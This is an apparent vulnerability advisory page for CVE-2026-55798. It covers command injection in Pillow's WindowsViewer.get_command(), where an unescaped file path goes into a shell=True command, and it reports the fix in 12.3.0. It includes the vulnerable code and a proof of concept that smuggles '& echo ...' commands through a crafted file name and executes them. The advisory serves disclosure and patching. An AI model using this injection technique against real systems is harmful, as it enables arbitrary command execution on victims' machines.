CVE-2026-55798: Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path
1. Summary WindowsViewer.getcommand() constructs a cmd.exe shell command by directly embedding a file path into an f-string without escaping. The result is passed to subprocess.Popen(..., shell=True). Shell metacharacters in the file path — most importantly a double-quote (") that breaks out of the wrapping, followed by & — allow injection of arbitrary cmd.exe commands.
Published Jul 20, 2026
Affected packages
Pillow
- Ecosystem
- PyPI
- Affected
- < 12.3.0
- Fixed in
- 12.3.0
- Check
pip show Pillow
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
1. Summary
WindowsViewer.get_command() constructs a cmd.exe shell command by directly embedding a file path into an f-string without escaping. The result is passed to subprocess.Popen(..., shell=True). Shell metacharacters in the file path — most importantly a double-quote (") that breaks out of the wrapping, followed by & — allow injection of arbitrary cmd.exe commands.
The macOS equivalent (MacViewer) correctly applies shlex.quote() to the same parameter. The Linux equivalent (UnixViewer) does likewise. Windows is the only platform missing this protection, despite shlex.quote being already imported on line 21 of ImageShow.py.
---
2. Vulnerable Code
File: src/PIL/ImageShow.py, lines 133–150
class WindowsViewer(Viewer):
format = "PNG"
options = {"compress_level": 1, "save_all": True}
def get_command(self, file: str, **options: Any) -> str:
return (
f'start "Pillow" /WAIT "{file}" ' # ← f-string, no escaping
"&& ping -n 4 127.0.0.1 >NUL "
f'&& del /f "{file}"' # ← same path, unescaped again
)
def show_file(self, path: str, **options: Any) -> int:
if not os.path.exists(path):
raise FileNotFoundError
subprocess.Popen(
self.get_command(path, **options),
shell=True, # ← shell=True
creationflags=getattr(subprocess, "CREATE_NO_WINDOW"),
) # nosec # ← Bandit warning suppressed manually
return 1Contrast with macOS — SAFE (line 164–168):
class MacViewer(Viewer):
def get_command(self, file: str, **options: Any) -> str:
command = "open -a Preview.app"
command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&"
return command # ← shlex.quote() appliedCross-platform summary:
| Platform | Class | `shlex.quote()`? | `shell=True`? | Safe? | | macOS | `MacViewer` | **Yes** (line 168) | No (list args) | ✅ Yes | | Linux | `UnixViewer` | **Yes** (line 207) | No (list args) | ✅ Yes | | Windows | `WindowsViewer`| **No** (line 134–137) | **Yes** (line 148) | ❌ No |
shlex.quote is imported on line 21. Its omission from the Windows path is a clear oversight, not a deliberate design choice.
---
3. Proof of Concept
A full working PoC is at poc_pillow_injection.py. Key parts:
Part A — Injection string construction (static, no execution):
from PIL.ImageShow import WindowsViewer
viewer = WindowsViewer()
evil_path = r'C:\Temp\evil" & echo PWNED & echo "'
cmd = viewer.get_command(evil_path)
print(cmd)
# Output:
# start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ...
# ┌─ start "Pillow" /WAIT "C:\Temp\evil" → fails (file not found)
# ├─ & echo PWNED → INJECTED COMMAND
# └─ & echo "" && ping ... → continuesPart B — Live execution via `os.system()` (verified on Windows 11, Pillow 12.1.1):
import os, tempfile
from PIL.ImageShow import WindowsViewer
viewer = WindowsViewer()
poc_dir = tempfile.mkdtemp()
marker = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt")
# Craft injection: payload writes a marker file (harmless)
payload = f'echo REAL_INJECTED > "{marker}"'
evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "')
# Call the REAL Pillow get_command():
real_cmd = viewer.get_command(evil_path)
# Execute the same way the base Viewer.show_file() does (os.system):
os.system(real_cmd)
assert os.path.exists(marker) # PASSES — marker was created
assert "REAL_INJECTED" in open(marker).read() # PASSES
# → CONFIRMED: arbitrary command injection via get_command()---
Credited to 1121984919, radarhere.
References
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6
- https://nvd.nist.gov/vuln/detail/CVE-2026-55798
- https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a
- https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4
- https://github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f
- https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2257.yaml
- https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst
- https://github.com/advisories/GHSA-4x4j-2g7c-83w6
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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